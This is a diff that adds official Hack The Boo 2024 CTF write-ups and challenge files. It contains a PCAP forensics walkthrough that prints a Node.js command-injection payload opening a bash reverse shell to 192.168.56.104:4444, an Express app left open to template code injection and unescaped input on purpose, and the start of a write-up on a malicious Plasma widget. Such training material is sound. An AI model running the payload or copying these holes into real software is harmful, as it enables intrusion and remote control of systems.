added official hacktheboo2024 writeups
|
@ -0,0 +1,67 @@
|
|||

|
||||
|
||||
<img src='assets/htb.png' style='zoom: 40%;' align=left /> <font size='4'>Forbidden Manuscript</font>
|
||||
|
||||
26<sup>th</sup> Oct 2024
|
||||
|
||||
Prepared By: `gordic`
|
||||
|
||||
Challenge Author(s): `gordic`
|
||||
|
||||
Difficulty: <font color='green'>Very Easy</font>
|
||||
|
||||
<br><br>
|
||||
|
||||
# Synopsis
|
||||
|
||||
- The user is tasked with performing PCAP analysis. The challenge is straightforward: the user must analyze HTTP requests within the network capture to uncover details of the incident. One of the streams contains an encoded payload.
|
||||
|
||||
## Description
|
||||
|
||||
- On the haunting night of Halloween, the website of "Shadowbrook Library"—a digital vault of forbidden and arcane manuscripts—was silently breached by an unknown entity. Though the site appears unaltered, unsettling anomalies suggest something sinister has been stolen from its cryptic depths. Ominous network traffic logs from the time of the intrusion have emerged. Your task is to delve into this data and uncover any dark secrets that were exfiltrated.
|
||||
|
||||
Flag: `HTB{f0rb1dd3n_m4nu5cr1p7_15_1n_7h3_w1ld}`
|
||||
|
||||
## Skills Required
|
||||
|
||||
- Basic wireshark usage
|
||||
- Basic .pcap analysis
|
||||
- Hex encoding/decoding
|
||||
|
||||
## Skills Learned (!)
|
||||
|
||||
- Packet analysis
|
||||
- Detection of command injection
|
||||
- Reverse shell analysis
|
||||
|
||||
# Enumeration (!)
|
||||
|
||||
The challenge provides a PCAP file named `capture.pcap`. We can start by opening the file in Wireshark.
|
||||
|
||||

|
||||
|
||||
We can follow first HTTP stream by right-clicking on the first HTTP packet and selecting `Follow > HTTP Stream`. We are greeted with a windows that shows the HTTP requests and responses.
|
||||
|
||||

|
||||
|
||||
Upon examining the HTTP streams, we find an encoded string in stream 4. We can copy this string and decode it using an online tool or a Python script.
|
||||
|
||||

|
||||
|
||||
First, we perform URL decoding on the string. The decoded string is:
|
||||
|
||||
> exploit() {} && ((()=>{ global.process.mainModule.require("child_process").execSync("bash -c 'bash -i >& /dev/tcp/192.168.56.104/4444 0>&1'"); })()) && function pwned
|
||||
|
||||
This appears to be a reverse shell payload. After closing the HTTP stream, we scroll down to the end of stream 4 in Wireshark and notice numerous TCP packets. These packets represent the reverse shell connection, indicated by the use of port 4444 as specified in the payload.
|
||||
|
||||

|
||||
|
||||
We can follow this TCP stream by right-clicking on the first TCP packet and selecting `Follow > TCP Stream`. This reveals the reverse shell commands being executed, and we can see the flag being displayed in the terminal.
|
||||
|
||||

|
||||
|
||||
To retrieve the flag, we use CyberChef's "From Hex" function to decode it.
|
||||
|
||||
Encoded Flag: `4854427b66307262316464336e5f6d346e753563723170375f31355f316e5f3768335f77316c647d`
|
||||
|
||||
Decoded Flag: `HTB{f0rb1dd3n_m4nu5cr1p7_15_1n_7h3_w1ld}`
|
After Width: | Height: | Size: 45 KiB |
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 465 KiB |
After Width: | Height: | Size: 190 KiB |
After Width: | Height: | Size: 240 KiB |
After Width: | Height: | Size: 561 KiB |
After Width: | Height: | Size: 119 KiB |
|
@ -0,0 +1 @@
|
|||
exploit() {} && (() => {global.process.mainModule.require("child_process").execSync("");})() && function pwned
|
|
@ -0,0 +1,14 @@
|
|||
FROM node:18
|
||||
|
||||
RUN apt-get update && apt-get install -y netcat-openbsd
|
||||
|
||||
WORKDIR /usr/src/app
|
||||
|
||||
COPY package*.json ./
|
||||
RUN npm install
|
||||
|
||||
COPY . .
|
||||
|
||||
EXPOSE 3000
|
||||
|
||||
CMD ["npm", "start"]
|
|
@ -0,0 +1,19 @@
|
|||
version: '3.8'
|
||||
services:
|
||||
web:
|
||||
build: .
|
||||
ports:
|
||||
- "3000:3000"
|
||||
environment:
|
||||
- NODE_ENV=production
|
||||
- DB_PATH=/usr/src/app/data/shadowbrook.db
|
||||
volumes:
|
||||
- .:/usr/src/app
|
||||
- ./data:/usr/src/app/data # Ensure data is persistent
|
||||
depends_on:
|
||||
- db
|
||||
|
||||
db:
|
||||
image: nouchka/sqlite3
|
||||
volumes:
|
||||
- ./data:/data
|
2418
htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/package-lock.json
generated
Normal file
|
@ -0,0 +1,17 @@
|
|||
{
|
||||
"name": "shadowbrook-library",
|
||||
"version": "1.0.0",
|
||||
"description": "A spooky library of forbidden knowledge",
|
||||
"main": "src/app.js",
|
||||
"scripts": {
|
||||
"start": "node src/app.js"
|
||||
},
|
||||
"dependencies": {
|
||||
"@blakeembrey/template": "1.1.0",
|
||||
"body-parser": "^1.19.0",
|
||||
"ejs": "^3.1.10",
|
||||
"express": "^4.17.1",
|
||||
"sqlite3": "^5.0.0",
|
||||
"squirrelly": "^9.0.0"
|
||||
}
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
const express = require('express');
|
||||
const path = require('path');
|
||||
const bodyParser = require('body-parser');
|
||||
const manuscriptRoutes = require('./routes/manuscripts');
|
||||
const indexRoutes = require('./routes/index');
|
||||
const app = express();
|
||||
|
||||
// Middleware
|
||||
app.use(bodyParser.urlencoded({ extended: true }));
|
||||
app.use(express.static(path.join(__dirname, 'public')));
|
||||
|
||||
// View engine setup
|
||||
app.set('view engine', 'ejs');
|
||||
app.set('views', path.join(__dirname, 'views'));
|
||||
|
||||
// Routes
|
||||
app.use('/', indexRoutes);
|
||||
app.use('/manuscripts', manuscriptRoutes);
|
||||
|
||||
const PORT = process.env.PORT || 3000;
|
||||
app.listen(PORT, () => {
|
||||
console.log(`Shadowbrook Library is running on port ${PORT}`);
|
||||
});
|
|
@ -0,0 +1,81 @@
|
|||
const sqlite3 = require('sqlite3').verbose();
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
// Define the database path
|
||||
const dbDirectory = path.join(__dirname, '../data');
|
||||
const dbPath = process.env.DB_PATH || path.join(dbDirectory, 'shadowbrook.db');
|
||||
|
||||
// Ensure the database directory exists
|
||||
if (!fs.existsSync(dbDirectory)) {
|
||||
console.log(`Directory '${dbDirectory}' does not exist. Creating...`);
|
||||
fs.mkdirSync(dbDirectory, { recursive: true });
|
||||
}
|
||||
|
||||
// Connect to SQLite database
|
||||
const db = new sqlite3.Database(dbPath, (err) => {
|
||||
if (err) {
|
||||
console.error('Error connecting to SQLite database:', err.message);
|
||||
} else {
|
||||
console.log('Connected to SQLite database.');
|
||||
|
||||
// Create manuscripts table if it doesn't exist
|
||||
db.run(`CREATE TABLE IF NOT EXISTS manuscripts (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
title TEXT NOT NULL,
|
||||
author TEXT NOT NULL,
|
||||
content TEXT NOT NULL
|
||||
)`, (err) => {
|
||||
if (err) {
|
||||
console.error('Error creating manuscripts table:', err.message);
|
||||
} else {
|
||||
console.log('Manuscripts table ready.');
|
||||
|
||||
// Initialize database with creepy Halloween-themed manuscripts
|
||||
const manuscripts = [
|
||||
{
|
||||
title: "The Whispering Shadows",
|
||||
author: "Unknown",
|
||||
content: "In the dead of night, the shadows in the old library seem to move, whispering secrets of those long forgotten. Some say they hear faint voices calling their name..."
|
||||
},
|
||||
{
|
||||
title: "The Cursed Pumpkin",
|
||||
author: "Edgar Fallow",
|
||||
content: "Every year, the pumpkin with a face twisted in agony reappears on the doorstep of the abandoned house. Its origins remain unknown, but those who dare carve it disappear without a trace."
|
||||
},
|
||||
{
|
||||
title: "The Haunting of Willow Lane",
|
||||
author: "Mary Blackthorn",
|
||||
content: "A house once full of life now stands as a decrepit shell. At midnight, the laughter of children echoes through the halls, though none have lived there for decades..."
|
||||
},
|
||||
{
|
||||
title: "The Witch's Grimoire",
|
||||
author: "Seraphina Nightshade",
|
||||
content: "Bound in human skin, the Witch's Grimoire contains forbidden spells. It is said those who read its pages under a blood moon shall be granted immense power — but at a terrible cost."
|
||||
},
|
||||
{
|
||||
title: "The Mask of Eternal Night",
|
||||
author: "Mortimer Graves",
|
||||
content: "A porcelain mask with hollow eyes sits locked away in a museum. Legends tell that wearing it opens a portal to a realm of endless darkness, where souls are consumed for eternity."
|
||||
}
|
||||
];
|
||||
|
||||
const insertManuscript = db.prepare(`INSERT INTO manuscripts (title, author, content) VALUES (?, ?, ?)`);
|
||||
|
||||
manuscripts.forEach((manuscript) => {
|
||||
insertManuscript.run(manuscript.title, manuscript.author, manuscript.content, (err) => {
|
||||
if (err) {
|
||||
console.error('Error inserting manuscript:', err.message);
|
||||
} else {
|
||||
console.log(`Manuscript "${manuscript.title}" added.`);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
insertManuscript.finalize();
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
module.exports = db;
|
|
@ -0,0 +1,360 @@
|
|||
/* General Styles */
|
||||
body {
|
||||
background-color: #0d0d0d; /* Darker background for deeper contrast */
|
||||
color: #e6e6e6;
|
||||
font-family: 'Merriweather', serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
text-align: center;
|
||||
overflow-x: hidden;
|
||||
}
|
||||
|
||||
a {
|
||||
color: #ff6347;
|
||||
text-decoration: none;
|
||||
transition: color 0.3s ease;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #ffa07a;
|
||||
}
|
||||
|
||||
/* Cool Form Styles */
|
||||
.add-manuscript {
|
||||
margin-top: 50px;
|
||||
padding: 40px;
|
||||
background-color: #1c1c1c;
|
||||
border-radius: 10px;
|
||||
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.8), 0 0 15px rgba(255, 99, 71, 0.5);
|
||||
position: relative;
|
||||
max-width: 600px;
|
||||
margin: 50px auto;
|
||||
background-image: linear-gradient(135deg, rgba(255, 69, 0, 0.4), rgba(255, 99, 71, 0.2));
|
||||
}
|
||||
|
||||
.add-manuscript h2 {
|
||||
font-size: 2.5rem;
|
||||
color: #ff6347;
|
||||
margin-bottom: 20px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 2px;
|
||||
background: linear-gradient(45deg, #ff6347, #ff4500);
|
||||
-webkit-background-clip: text;
|
||||
-webkit-text-fill-color: transparent;
|
||||
text-shadow: 0 0 10px rgba(255, 69, 0, 0.5);
|
||||
}
|
||||
|
||||
/* Form Label Styling */
|
||||
.add-manuscript form label {
|
||||
font-size: 1.2rem;
|
||||
text-transform: uppercase;
|
||||
color: #ff6347;
|
||||
display: block;
|
||||
text-align: left;
|
||||
margin-bottom: 8px;
|
||||
letter-spacing: 1px;
|
||||
}
|
||||
|
||||
.add-manuscript form input[type="text"],
|
||||
.add-manuscript form textarea {
|
||||
width: 100%;
|
||||
padding: 12px 15px;
|
||||
background-color: #1a1a1a;
|
||||
border: 1px solid #444;
|
||||
border-radius: 5px;
|
||||
color: #e6e6e6;
|
||||
font-size: 1rem;
|
||||
outline: none;
|
||||
margin-bottom: 20px;
|
||||
transition: border-color 0.3s ease, box-shadow 0.3s ease;
|
||||
}
|
||||
|
||||
.add-manuscript form input[type="text"]:focus,
|
||||
.add-manuscript form textarea:focus {
|
||||
border-color: #ff4500;
|
||||
box-shadow: 0 0 15px rgba(255, 69, 0, 0.6);
|
||||
background-color: #222;
|
||||
}
|
||||
|
||||
/* Ghostly Glow Effects */
|
||||
.add-manuscript form input[type="text"]:focus::after,
|
||||
.add-manuscript form textarea:focus::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 15px rgba(255, 69, 0, 0.7);
|
||||
animation: pulseGlow 1.5s infinite ease-in-out;
|
||||
}
|
||||
|
||||
/* Animated Glowing Borders */
|
||||
@keyframes pulseGlow {
|
||||
0% {
|
||||
box-shadow: 0 0 5px rgba(255, 69, 0, 0.6);
|
||||
}
|
||||
50% {
|
||||
box-shadow: 0 0 20px rgba(255, 69, 0, 0.8);
|
||||
}
|
||||
100% {
|
||||
box-shadow: 0 0 5px rgba(255, 69, 0, 0.6);
|
||||
}
|
||||
}
|
||||
|
||||
/* Container */
|
||||
.container {
|
||||
width: 90%;
|
||||
max-width: 1200px;
|
||||
margin: 0 auto;
|
||||
padding: 40px 20px;
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
/* Floating Ghostly Effects */
|
||||
.container::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: -50px;
|
||||
right: -50px;
|
||||
width: 200px;
|
||||
height: 200px;
|
||||
background: radial-gradient(circle, rgba(255,255,255,0.1), transparent);
|
||||
border-radius: 50%;
|
||||
animation: float 6s ease-in-out infinite;
|
||||
z-index: -1;
|
||||
}
|
||||
|
||||
@keyframes float {
|
||||
0% {
|
||||
transform: translateY(0) rotate(0deg);
|
||||
}
|
||||
50% {
|
||||
transform: translateY(-30px) rotate(180deg);
|
||||
}
|
||||
100% {
|
||||
transform: translateY(0) rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
/* Header */
|
||||
header {
|
||||
background-color: #222;
|
||||
padding: 30px;
|
||||
text-align: center;
|
||||
border-bottom: 2px solid #444;
|
||||
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.6);
|
||||
position: relative;
|
||||
}
|
||||
|
||||
header .logo h1 {
|
||||
color: #ff4500;
|
||||
font-size: 4rem;
|
||||
letter-spacing: 4px;
|
||||
text-transform: uppercase;
|
||||
background: linear-gradient(45deg, #ff6347, #ff4500);
|
||||
-webkit-background-clip: text;
|
||||
-webkit-text-fill-color: transparent;
|
||||
}
|
||||
|
||||
nav ul {
|
||||
list-style-type: none;
|
||||
padding: 0;
|
||||
margin: 30px 0;
|
||||
}
|
||||
|
||||
nav ul li {
|
||||
display: inline-block;
|
||||
margin: 0 15px;
|
||||
font-size: 1.4rem;
|
||||
}
|
||||
|
||||
nav ul li a {
|
||||
color: #e6e6e6;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
nav ul li a::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
width: 0;
|
||||
height: 2px;
|
||||
bottom: -2px;
|
||||
left: 0;
|
||||
background-color: #ff4500;
|
||||
visibility: hidden;
|
||||
transition: all 0.3s ease-in-out;
|
||||
}
|
||||
|
||||
nav ul li a:hover::before {
|
||||
visibility: visible;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
/* Footer */
|
||||
footer {
|
||||
margin-top: 40px;
|
||||
padding: 20px;
|
||||
background-color: #111;
|
||||
color: #777;
|
||||
font-size: 0.9rem;
|
||||
box-shadow: 0 -4px 15px rgba(0, 0, 0, 0.6);
|
||||
position: relative;
|
||||
}
|
||||
|
||||
footer::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 50%;
|
||||
width: 100%;
|
||||
height: 1px;
|
||||
background: linear-gradient(to right, transparent, #777, transparent);
|
||||
transform: translateX(-50%);
|
||||
}
|
||||
|
||||
/* Home Section */
|
||||
.home-section {
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.home-section h2 {
|
||||
font-size: 3rem;
|
||||
color: #ff6347;
|
||||
letter-spacing: 2px;
|
||||
text-shadow: 0 0 10px rgba(255, 99, 71, 0.5), 0 0 20px rgba(255, 69, 0, 0.3);
|
||||
}
|
||||
|
||||
.home-section p {
|
||||
font-size: 1.4rem;
|
||||
color: #b3b3b3;
|
||||
max-width: 800px;
|
||||
margin: 20px auto;
|
||||
line-height: 1.8;
|
||||
}
|
||||
|
||||
.button {
|
||||
padding: 12px 25px;
|
||||
background-color: #ff4500;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
font-size: 1.2rem;
|
||||
cursor: pointer;
|
||||
transition: all 0.3s ease;
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.button::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: -2px;
|
||||
left: -2px;
|
||||
right: -2px;
|
||||
bottom: -2px;
|
||||
background: linear-gradient(135deg, rgba(255, 69, 0, 0.8), transparent);
|
||||
z-index: -1;
|
||||
opacity: 0;
|
||||
transition: opacity 0.3s ease;
|
||||
}
|
||||
|
||||
.button:hover::before {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.button:hover {
|
||||
box-shadow: 0 0 20px rgba(255, 69, 0, 0.7);
|
||||
}
|
||||
|
||||
/* Spooky Animations */
|
||||
.spooky-button {
|
||||
background-color: #111;
|
||||
color: #ff6347;
|
||||
border: 1px solid #ff6347;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
z-index: 1;
|
||||
transition: color 0.3s ease;
|
||||
}
|
||||
|
||||
.spooky-button:hover {
|
||||
color: #fff;
|
||||
box-shadow: 0 0 20px rgba(255, 69, 0, 0.5);
|
||||
}
|
||||
|
||||
.spooky-button::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
width: 300%;
|
||||
height: 300%;
|
||||
background: radial-gradient(circle, rgba(255, 69, 0, 0.1), transparent);
|
||||
transform: translate(-50%, -50%) scale(0);
|
||||
transition: transform 0.4s ease;
|
||||
z-index: -1;
|
||||
}
|
||||
|
||||
.spooky-button:hover::before {
|
||||
transform: translate(-50%, -50%) scale(1);
|
||||
}
|
||||
|
||||
/* Manuscript View */
|
||||
.manuscript-view h2 {
|
||||
font-size: 2.5rem;
|
||||
color: #ff6347;
|
||||
text-shadow: 0 0 10px rgba(255, 99, 71, 0.5);
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.manuscript-view article {
|
||||
margin: 20px 0;
|
||||
padding: 30px;
|
||||
background-color: #1a1a1a;
|
||||
border: 1px solid #444;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 0 15px rgba(0, 0, 0, 0.6);
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.manuscript-view article p {
|
||||
font-size: 1.2rem;
|
||||
color: #e6e6e6;
|
||||
line-height: 1.6;
|
||||
}
|
||||
|
||||
/* Glowing Borders on Focus */
|
||||
input[type="text"], textarea {
|
||||
padding: 10px;
|
||||
font-size: 1rem;
|
||||
border: 1px solid #444;
|
||||
border-radius: 5px;
|
||||
background-color: #1a1a1a;
|
||||
color: #e6e6e6;
|
||||
outline: none;
|
||||
transition: border 0.3s ease, box-shadow 0.3s ease;
|
||||
}
|
||||
|
||||
input[type="text"]:focus, textarea:focus {
|
||||
border-color: #ff4500;
|
||||
box-shadow: 0 0 10px rgba(255, 69, 0, 0.5);
|
||||
}
|
||||
|
||||
/* Ghostly Shadows on Scroll */
|
||||
@media (min-width: 768px) {
|
||||
.container::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
bottom: -100px;
|
||||
left: 50%;
|
||||
width: 300px;
|
||||
height: 300px;
|
||||
background: radial-gradient(circle, rgba(255, 255, 255, 0.1), transparent);
|
||||
border-radius: 50%;
|
||||
animation: float 7s ease-in-out infinite;
|
||||
z-index: -1;
|
||||
transform: translateX(-50%);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,54 @@
|
|||
const express = require('express');
|
||||
const router = express.Router();
|
||||
const { template } = require("@blakeembrey/template"); // Use require instead of import
|
||||
|
||||
// 1. GET: Home page
|
||||
router.get('/', (req, res) => {
|
||||
const { user } = req.query; // Optional query parameter to pass user's name
|
||||
|
||||
let additionalContent = '';
|
||||
|
||||
if (user) {
|
||||
try {
|
||||
const decodedUser = decodeURIComponent(user);
|
||||
console.log('User:', decodedUser);
|
||||
const fn = template("Welcome back, {{user}}!", decodedUser);
|
||||
const userRender = fn({ user: decodedUser });
|
||||
|
||||
additionalContent = `
|
||||
<p><strong>${userRender}</strong> Your knowledge quest continues. Browse the hidden manuscripts or leave your own wisdom behind.</p>
|
||||
<a class="button spooky-button" href="/manuscripts/add">Contribute a Manuscript</a>
|
||||
`;
|
||||
} catch (error) {
|
||||
console.error('Error decoding or rendering user:', error);
|
||||
additionalContent = ''; // Render nothing if error occurs
|
||||
}
|
||||
} else {
|
||||
additionalContent = `
|
||||
<form action="/" method="GET" class="username-form">
|
||||
<label for="username">Enter your name to personalize your journey:</label>
|
||||
<input type="text" id="username" name="user" placeholder="Your Name" required>
|
||||
<button type="submit" class="button spooky-button">Enter the Vault</button>
|
||||
</form>
|
||||
`;
|
||||
}
|
||||
|
||||
const content = `
|
||||
<section class="home-section">
|
||||
<h2>Welcome to the Forbidden Vault of Knowledge</h2>
|
||||
<p>Hello, ${user || 'Adventurer'}! Dare to enter? Search the library, or contribute your own arcane manuscript.</p>
|
||||
<a class="button spooky-button" href="/manuscripts/search">Search the Vault</a>
|
||||
${additionalContent}
|
||||
</section>
|
||||
`;
|
||||
|
||||
// Safely render the layout and pass the content to be injected
|
||||
try {
|
||||
res.render('layouts/main', { title: "Welcome to Shadowbrook Library", content });
|
||||
} catch (renderError) {
|
||||
console.error('Error rendering the page:', renderError);
|
||||
res.status(200).send(''); // Return empty response in case of error
|
||||
}
|
||||
});
|
||||
|
||||
module.exports = router;
|
|
@ -0,0 +1,122 @@
|
|||
const express = require('express');
|
||||
const router = express.Router();
|
||||
const db = require('../config/db');
|
||||
|
||||
// 1. GET: Search Manuscripts
|
||||
router.get('/search', (req, res) => {
|
||||
const { query = '', user } = req.query; // Default query to an empty string if not provided
|
||||
|
||||
const searchQuery = `%${query}%`;
|
||||
db.all("SELECT * FROM manuscripts WHERE title LIKE ? OR content LIKE ?", [searchQuery, searchQuery], (err, rows) => {
|
||||
if (err) {
|
||||
res.status(500).send("Error querying the database.");
|
||||
return;
|
||||
}
|
||||
|
||||
// Generate dynamic HTML for search input and results
|
||||
let content = `
|
||||
<section class="search-results">
|
||||
<h2>Search Manuscripts</h2>
|
||||
<form action="/manuscripts/search" method="get" class="search-form">
|
||||
<input type="text" name="query" value="${query}" placeholder="Search for manuscripts..." required />
|
||||
<button type="submit">Search</button>
|
||||
</form>
|
||||
<ul>
|
||||
`;
|
||||
|
||||
if (rows.length > 0) {
|
||||
rows.forEach(manuscript => {
|
||||
content += `
|
||||
<li>
|
||||
<a href="/manuscripts/view/${manuscript.id}">${manuscript.title}</a>
|
||||
</li>
|
||||
`;
|
||||
});
|
||||
} else {
|
||||
content += `
|
||||
<li>No results found for "${query}".</li>
|
||||
`;
|
||||
}
|
||||
|
||||
content += `
|
||||
</ul>
|
||||
</section>
|
||||
`;
|
||||
|
||||
// Render the layout and inject the dynamic content as a string
|
||||
res.render('layouts/main', { title: `Search Results for "${query}"`, content, user });
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
// 2. GET: View a single manuscript by ID
|
||||
router.get('/view/:id', (req, res) => {
|
||||
const { id } = req.params;
|
||||
const { user } = req.query;
|
||||
|
||||
db.get("SELECT * FROM manuscripts WHERE id = ?", [id], (err, manuscript) => {
|
||||
if (err || !manuscript) {
|
||||
res.status(404).send("Manuscript not found.");
|
||||
return;
|
||||
}
|
||||
|
||||
// Generate dynamic content for the manuscript view
|
||||
const content = `
|
||||
<section class="manuscript-view">
|
||||
<h2>${manuscript.title}</h2>
|
||||
<p><strong>Author:</strong> ${manuscript.author}</p>
|
||||
<article>
|
||||
<p>${manuscript.content}</p>
|
||||
</article>
|
||||
</section>
|
||||
`;
|
||||
|
||||
// Render the layout and inject the dynamic content
|
||||
res.render('layouts/main', { title: manuscript.title, content, user });
|
||||
});
|
||||
});
|
||||
|
||||
// 3. GET: Add Manuscript form
|
||||
router.get('/add', (req, res) => {
|
||||
const { user } = req.query;
|
||||
|
||||
// Generate content for the add manuscript form
|
||||
const content = `
|
||||
<section class="add-manuscript">
|
||||
<h2>Add a New Arcane Manuscript</h2>
|
||||
<form action="/manuscripts/add" method="POST">
|
||||
<label for="title">Title:</label>
|
||||
<input type="text" id="title" name="title" required>
|
||||
|
||||
<label for="author">Author:</label>
|
||||
<input type="text" id="author" name="author" required>
|
||||
|
||||
<label for="content">Content:</label>
|
||||
<textarea id="content" name="content" rows="6" required></textarea>
|
||||
|
||||
<button type="submit" class="button spooky-button">Submit Manuscript</button>
|
||||
</form>
|
||||
</section>
|
||||
`;
|
||||
|
||||
// Render the layout and inject the form
|
||||
res.render('layouts/main', { title: "Add a New Manuscript", content, user });
|
||||
});
|
||||
|
||||
// 4. POST: Add a New Manuscript
|
||||
router.post('/add', (req, res) => {
|
||||
const { title, author, content } = req.body;
|
||||
const { user } = req.query;
|
||||
|
||||
db.run("INSERT INTO manuscripts (title, author, content) VALUES (?, ?, ?)", [title, author, content], function(err) {
|
||||
if (err) {
|
||||
res.status(500).send("Error inserting into the database.");
|
||||
return;
|
||||
}
|
||||
|
||||
// After adding, redirect to the newly added manuscript's page
|
||||
res.redirect(`/manuscripts/view/${this.lastID}?user=${user}`);
|
||||
});
|
||||
});
|
||||
|
||||
module.exports = router;
|
|
@ -0,0 +1,7 @@
|
|||
<%- include('layouts/main', { title: "404 - Page Not Found" }) %>
|
||||
|
||||
<section class="error-page">
|
||||
<h2>404 - You have ventured too far...</h2>
|
||||
<p>It seems you've stumbled upon forbidden knowledge not meant to be found, <%= user %>. Return to safety.</p>
|
||||
<a class="button spooky-button" href="/">Go Back Home</a>
|
||||
</section>
|
|
@ -0,0 +1,7 @@
|
|||
<%- include('layouts/main', { title: "Welcome to Shadowbrook Library" }) %>
|
||||
|
||||
<section class="home-section">
|
||||
<h2>Welcome to the Forbidden Vault of Knowledge</h2>
|
||||
<p>Hello, <%= user %>! Dare to enter? Search the library, or contribute your own arcane manuscript.</p>
|
||||
<a class="button spooky-button" href="/manuscripts/search">Search the Vault</a>
|
||||
</section>
|
|
@ -0,0 +1,22 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title><%= title || "Shadowbrook Library" %></title>
|
||||
<link rel="stylesheet" href="/dark-theme.css">
|
||||
</head>
|
||||
<body>
|
||||
<header>
|
||||
<%- include('../partials/header') %> <!-- Includes the header partial -->
|
||||
</header>
|
||||
|
||||
<main>
|
||||
<%- content %> <!-- This will be passed explicitly from the routes -->
|
||||
</main>
|
||||
|
||||
<footer>
|
||||
<%- include('../partials/footer') %> <!-- Includes the footer partial -->
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,17 @@
|
|||
<%- include('../layouts/main', { title: "Add a New Manuscript" }) %>
|
||||
|
||||
<section class="add-manuscript">
|
||||
<h2>Add a New Arcane Manuscript</h2>
|
||||
<form action="/manuscripts/add" method="POST">
|
||||
<label for="title">Title:</label>
|
||||
<input type="text" id="title" name="title" required>
|
||||
|
||||
<label for="author">Author:</label>
|
||||
<input type="text" id="author" name="author" required>
|
||||
|
||||
<label for="content">Content:</label>
|
||||
<textarea id="content" name="content" rows="6" required></textarea>
|
||||
|
||||
<button type="submit" class="button spooky-button">Submit Manuscript</button>
|
||||
</form>
|
||||
</section>
|
|
@ -0,0 +1,13 @@
|
|||
<%- include('../layouts/main', { title: manuscript.title }) %>
|
||||
|
||||
<section class="manuscript-view">
|
||||
<h2><%= manuscript.title %></h2>
|
||||
<p><strong>Author:</strong> <%= manuscript.author %></p>
|
||||
<article>
|
||||
<p><%= manuscript.content %></p>
|
||||
</article>
|
||||
|
||||
<footer>
|
||||
<p>Submitted by: <%= user || "Anonymous" %></p>
|
||||
</footer>
|
||||
</section>
|
|
@ -0,0 +1,4 @@
|
|||
<footer>
|
||||
<p>© <%= new Date().getFullYear() %> Shadowbrook Library - Beware the forbidden knowledge...</p>
|
||||
</footer>
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
<header>
|
||||
<div class="logo">
|
||||
<a href="/">
|
||||
<h1>Shadowbrook Library</h1>
|
||||
</a>
|
||||
</div>
|
||||
<nav>
|
||||
<ul>
|
||||
<li><a href="/">Home</a></li>
|
||||
<li><a href="/manuscripts/search">Search Manuscripts</a></li>
|
||||
<li><a href="/manuscripts/add">Add Manuscript</a></li>
|
||||
</ul>
|
||||
</nav>
|
||||
</header>
|
||||
|
|
@ -0,0 +1,84 @@
|
|||

|
||||
|
||||
<img src='assets/htb.png' style='margin-left: 20px; zoom: 80%;' align=left /> <font size='10'>Sp00ky Theme</font>
|
||||
|
||||
05<sup>th</sup> Oct 2024 / Document No. D24.102.XX
|
||||
|
||||
Prepared By: c4n0pus
|
||||
|
||||
Challenge Author(s): c4n0pus
|
||||
|
||||
Difficulty: <font color=Green>Very Easy</font>
|
||||
|
||||
Classification: Official
|
||||
|
||||
# Synopsis
|
||||
|
||||
* A very easy challenge that features a malicious Plasma 6 plasmoid (widget) that executes rogue commands
|
||||
|
||||
## Description
|
||||
|
||||
* I downloaded a very nice haloween global theme for my Plasma installation and a couple of widgets! It was supposed to keep the bad spirits away while I was improving my ricing skills... Howerver, now strange things are happening and I can't figure out why...
|
||||
|
||||
## Skills Required
|
||||
|
||||
* N/A
|
||||
|
||||
## Skills Learned
|
||||
|
||||
* Plasma Themes
|
||||
* Obscure Linux Backdoors
|
||||
|
||||
# Enumeration
|
||||
|
||||
We are given a zip file that contains a folder called `plasma` and inside it contains a couple of directories
|
||||
|
||||
* `look-and-feel`
|
||||
* `plasmoids`
|
||||
* `desktoptheme`
|
||||
|
||||
The `look-and-feel` directory stores the Global Theme configuration for each global theme.
|
||||
The `plasmoid` directory contains the downloaded widgets (either manually or as a dependency for a global theme)
|
||||
|
||||
Recendly there was quite a big controversy where a user installed a Global Theme and it ended up deleting their `$HOME` folder! More about it, and how it happened [here](https://www.reddit.com/r/openSUSE/comments/1biunsl/hacked_installed_a_global_theme_it_erased_all_my/)
|
||||
|
||||
As it turns out, the widgets have a direct access to execute arbitrary commands because that's inherently their function! ie: getting CPU usage using `cat /proc/stat` and then aggregating it using `awk` and passing it to the widget for styling and display.
|
||||
|
||||
